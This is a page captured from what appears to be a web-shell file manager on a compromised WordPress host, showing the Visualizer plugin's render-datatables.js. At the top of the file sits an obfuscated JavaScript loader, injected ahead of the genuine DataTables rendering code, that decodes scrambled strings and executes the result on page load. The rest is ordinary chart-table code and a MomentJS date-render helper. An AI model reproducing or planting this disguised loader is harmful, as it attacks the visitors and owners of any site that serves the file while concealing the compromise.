AlkantarClanX12

Your IP : 18.218.99.80


Current Path : /home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/visualizer/js/
Upload File :
Current File : //home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/visualizer/js/render-datatables.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc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s];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/* global console */
/* global visualizer */

(function($) {
    var all_charts;
    // so that we know which charts belong to our library.
    var rendered_charts = [];

    // save the settings corresponding to cssClassNames so that when a table is being edited, they stripes etc. don't get reset
    var cssClassNames;

    function renderChart(id, v) {
        var chart = all_charts[id];
        if(chart.library !== 'datatables'){
            return;
        }
        cssClassNames = null;
        renderSpecificChart(id, chart, v);
    }

    function renderSpecificChart(id, chart, v) {
        var render, container, series, data, table, settings, i, j, row, date, axis, property, format, formatter, type, rows, cols;

        if(chart.library !== 'datatables'){
            return;
        }
        rendered_charts[id] = 'yes';

        series = chart.series;
        data = chart.data;

        container = document.getElementById(id);
        if (container == null) {
            return;
        }

        if($('#' + id).find('table.visualizer-data-table').length > 0){
            $('#' + id).empty();
        }

        settings = {
            destroy: true,
            paging: false,
            searching: false,
            ordering: true,
            select: false,
            lengthChange: false,
            buttons: {
                buttons: [{
                  extend: 'print',
                  text: '',
                  title: ''
                }]
            },
            dom: 'Bfrtip',
        };

        var $classes = 'dataTable visualizer-data-table table table-striped';

        if(typeof v.page_type !== 'undefined'){
            switch(v.page_type){
                case 'post':
                    // fall-through.
                case 'library':
                    // for smaller screens...
                    if(window.innerWidth < 1500){
                        delete chart.settings['scrollX'];
                        delete chart.settings['scrollY'];
                        delete chart.settings['scrollY_int'];
                        $.extend( settings, {
                            scrollX: 150,
                            scrollY: (( chart.settings['responsive_bool'] === 'true' ? 0.8 : 0.5 ) * parseInt($(container).css('height').replace('px',''))),
                            scrollCollapse: true
                        } );
                    }else{
                        if(parseInt(chart.settings['scrollY_int']) > 180){
                            chart.settings['scrollY_int'];
                        }
                        delete chart.settings['scrollX'];
                        $.extend( settings, {
                            scrollX: 150,
                            scrollY: 180,
                        } );
                    }
                    break;
                case 'chart':
                    delete chart.settings['scrollX']; // jshint ignore:line
                    // fall-through.
                case 'frontend':
                    // empty.
                    break;
            }
        }

        if(typeof chart.settings['scrollX'] !== 'undefined'){
            if(chart.settings['scrollX'] == 'true'){ // jshint ignore:line
                $classes = $classes + ' nowrap';
            }
        }

        $('#' + id).append($('<table class="' + $classes + '"></table>'));

        var select = {
            info: false
        };
        // we cannot use { select } below because https://github.com/Codeinwp/visualizer/issues/357
        $.extend( settings, { info: false } ); // jshint ignore:line

        var stripe = ['', ''];

        if(cssClassNames !== null){
            chart.settings['cssClassNames'] = cssClassNames;
        }

        // in preview mode, cssClassNames will not exist when a color is changed.
        if(typeof chart.settings['cssClassNames'] !== 'undefined'){
            cssClassNames = chart.settings['cssClassNames'];
            if(typeof chart.settings['cssClassNames']['oddTableRow'] !== 'undefined'){
                stripe[0] = chart.settings['cssClassNames']['oddTableRow'];
            }

            if(typeof chart.settings['cssClassNames']['evenTableRow'] !== 'undefined'){
                stripe[1] = chart.settings['cssClassNames']['evenTableRow'];
            }

            if(typeof chart.settings['cssClassNames']['selectedTableItem'] !== 'undefined'){
                $.extend( select, { 
                    className: chart.settings['cssClassNames']['selectedTableItem']
                } );
            }
        }

        // remove this so that the eval does not fail.
        delete chart.settings['internal_title'];

        var additional = [];
        for (i in chart.settings) {
            var valoo = chart.settings[i];

            // remove the type suffix to get the name of the setting.
            i = i.replace(/_bool/g, '').replace(/_int/g, '');

            switch(valoo){
                case 'true':
                    valoo = true;
                    break;
                case 'false':
                    valoo = false;
                    break;
                default:
                    if(parseInt(valoo) > 0){
                        valoo = parseInt(valoo);
                    }
                    if(i === 'pageLength' && (valoo === '' || parseInt(valoo) < 0)){
                        valoo = 1;
                    }
            }

            // if the setting name has an '_' this means it is a sub-setting e.g. select_items means { select: { items: ... } }.
            var array = i.split('_');
            if(array.length === 2){
                i = eval( array[0] ); // jshint ignore:line
                i[ array[1] ] = valoo;
                additional[ array[0] ] = i;
                if(array[0] === 'select' && array[1] === 'info' ){
                    // enable main info or the selection info will not show.
                    $.extend( settings, {info: true} );
                }
            } else {
                settings[i] = valoo;
            }
        }
        $.extend( settings, additional );

        cols = [];
        for (j = 0; j < series.length; j++) {
            type = series[j].type;
            switch(type){
                case 'number':
                    type = 'num';
                    break;
                case 'date':
                case 'datetime':
                case 'timeofday':
                    type = 'date';
                    break;
            }
            render = addRenderer(series[j].type, settings.series, j);

            var col = { title: series[j].label, data: series[j].label, type: type, render: render };
            if(typeof chart.settings['cssClassNames'] !== 'undefined' && typeof chart.settings['cssClassNames']['tableCell'] !== 'undefined'){
                col['className'] = chart.settings['cssClassNames']['tableCell'];
            }
            cols.push(col);
        }

        rows = [];
        for (i = 0; i < data.length; i++) {
            row = [];
            for (j = 0; j < series.length; j++) {
                var datum = data[i][j];
                // datum could be undefined for dynamic data (e.g. through json).
                if(typeof datum === 'undefined'){
                    datum = data[i][series[j].label];
                }
                row[ series[j].label ] = datum;
            }
            rows.push(row);
        }

        $.extend( settings, {
            data: rows,
            columns: cols,
            stripeClasses: stripe,
        } );

        // allow user to extend the settings.
        $('body').trigger('visualizer:chart:settings:extend', {id: id, chart: chart, settings: settings});

        table = $('#' + id + ' table.visualizer-data-table');
        table.DataTable( settings );

        // header row is handled here as the class is added dynamically to it (after the table is rendered).
        if(typeof chart.settings['cssClassNames'] !== 'undefined'){
            if(typeof chart.settings['cssClassNames']['headerRow'] !== 'undefined'){
                $('#' + id + ' table thead tr').addClass( chart.settings['cssClassNames']['headerRow'] );
            }
        }

        $('.loader').remove();
    }

    function addRenderer(type, series, index){
        var render = null;
        if(typeof series === 'undefined' || typeof series[index] === 'undefined' || typeof series[index].format === 'undefined' ){
            return render;
        }

        series = series[index];

        /* jshint ignore:start */
        switch(type){
            case 'number':
                var parts = ['', '', '', '', ''];
                if(typeof series.format.thousands !== ''){
                    parts[0] = series.format.thousands;
                }
                if(typeof series.format.decimal !== ''){
                    parts[1] = series.format.decimal;
                    if ( '' === series.format.precision ) {
                        series.format.precision = 2;
                    }
                }
                if(typeof series.format.precision !== '' && parseInt(series.format.precision) > 0){
                    parts[2] = series.format.precision;
                }
                if(typeof series.format.prefix !== ''){
                    parts[3] = series.format.prefix;
                }
                if(typeof series.format.suffix !== ''){
                    parts[4] = series.format.suffix;
                }
                render = $.fn.dataTable.render.number(parts[0], parts[1], parts[2], parts[3], parts[4]);
                break;
            case 'date':
            case 'datetime':
            case 'timeofday':
                if(typeof series.format.to !== 'undefined' && typeof series.format.from !== 'undefined' && series.format.from != '' && series.format.to !== ''){
                    render = $.fn.dataTable.render.moment(series.format.from, series.format.to);
                }
                break;
            default:
                render = $.fn.dataTable.render.extra = function ( data, type, row ) {
                    if((data === true || data === 'true') && typeof series.format !== 'undefined' && series.format.truthy !== ''){
                        data = series.format.truthy.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
                    }
                    if((data === false || data === 'false') && typeof series.format !== 'undefined' && series.format.falsy !== ''){
                        data = series.format.falsy.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
                    }
                    return data;
                }
        }
        /* jshint ignore:end */

        return render;
    }

    function render(v) {
        for (var id in (all_charts || {})) {
            renderChart(id, v);
        }
    }

    $('body').on('visualizer:render:chart:start', function(event, v){
        all_charts = v.charts;

        if(v.is_front == true && typeof v.id !== 'undefined'){ // jshint ignore:line
            renderChart(v.id, v);
        } else {
            render(v);
        }
    });

    $('body').on('visualizer:render:specificchart:start', function(event, v){
        renderSpecificChart(v.id, v.chart, v.v);
    });

    $('body').on('visualizer:render:currentchart:update', function(event, v){
        var data = v || event.detail;
        renderSpecificChart('canvas', all_charts['canvas'], data.visualizer);
    });

    // front end actions
    $('body').on('visualizer:action:specificchart', function(event, v){
        switch(v.action){
            case 'print':
                var id = v.id;
                if(typeof rendered_charts[id] === 'undefined'){
                    return;
                }
                $('#' + id + ' .buttons-print').trigger('click');
                break;
        }
    });

})(jQuery);


/* jshint ignore:start */

/**
 * Date / time formats often from back from server APIs in a format that you
 * don't wish to display to your end users (ISO8601 for example). This rendering
 * helper can be used to transform any source date / time format into something
 * which can be easily understood by your users when reading the table, and also
 * by DataTables for sorting the table.
 *
 * The [MomentJS library](http://momentjs.com/) is used to accomplish this and
 * you simply need to tell it which format to transfer from, to and specify a
 * locale if required.
 *
 * This function should be used with the `dt-init columns.render` configuration
 * option of DataTables.
 *
 * It accepts one, two or three parameters:
 *
 *     $.fn.dataTable.render.moment( to );
 *     $.fn.dataTable.render.moment( from, to );
 *     $.fn.dataTable.render.moment( from, to, locale );
 *
 * Where:
 *
 * * `to` - the format that will be displayed to the end user
 * * `from` - the format that is supplied in the data (the default is ISO8601 -
 *   `YYYY-MM-DD`)
 * * `locale` - the locale which MomentJS should use - the default is `en`
 *   (English).
 *
 *  @name datetime
 *  @summary Convert date / time source data into one suitable for display
 *  @author [Allan Jardine](http://datatables.net)
 *  @requires DataTables 1.10+
 *
 *  @example
 *    // Convert ISO8601 dates into a simple human readable format
 *    $('#example').DataTable( {
 *      columnDefs: [ {
 *        targets: 1,
 *        render: $.fn.dataTable.render.moment( 'Do MMM YYYYY' )
 *      } ]
 *    } );
 *
 *  @example
 *    // Specify a source format - in this case a unix timestamp
 *    $('#example').DataTable( {
 *      columnDefs: [ {
 *        targets: 2,
 *        render: $.fn.dataTable.render.moment( 'X', 'Do MMM YY' )
 *      } ]
 *    } );
 *
 *  @example
 *    // Specify a source format and locale
 *    $('#example').DataTable( {
 *      columnDefs: [ {
 *        targets: 2,
 *        render: $.fn.dataTable.render.moment( 'YYYY/MM/DD', 'Do MMM YY', 'fr' )
 *      } ]
 *    } );
 */
(function( factory ) {
    "use strict";
 
    if ( typeof define === 'function' && define.amd ) {
        // AMD
        define( ['jquery'], function ( $ ) {
            return factory( $, window, document );
        } );
    }
    else if ( typeof exports === 'object' ) {
        // CommonJS
        module.exports = function (root, $) {
            if ( ! root ) {
                root = window;
            }
 
            if ( ! $ ) {
                $ = typeof window !== 'undefined' ?
                    require('jquery') :
                    require('jquery')( root );
            }
 
            return factory( $, root, root.document );
        };
    }
    else {
        // Browser
        factory( jQuery, window, document );
    }
}
(function( $, window, document ) {
 
 
$.fn.dataTable.render.moment = function ( from, to, locale ) {
    // Argument shifting
    if ( arguments.length === 1 ) {
        locale = 'en';
        to = from;
        from = 'YYYY-MM-DD';
    }
    else if ( arguments.length === 2 ) {
        locale = 'en';
    }
 
    return function ( d, type, row ) {
        if (!d) return null;
        var m = window.moment( d, from, locale, true );
 
        // Order and type get a number value from Moment, everything else
        // sees the rendered value
        return m.format( type === 'sort' || type === 'type' ? 'x' : to );
    };
};
 
 
}));

/* jshint ignore:end */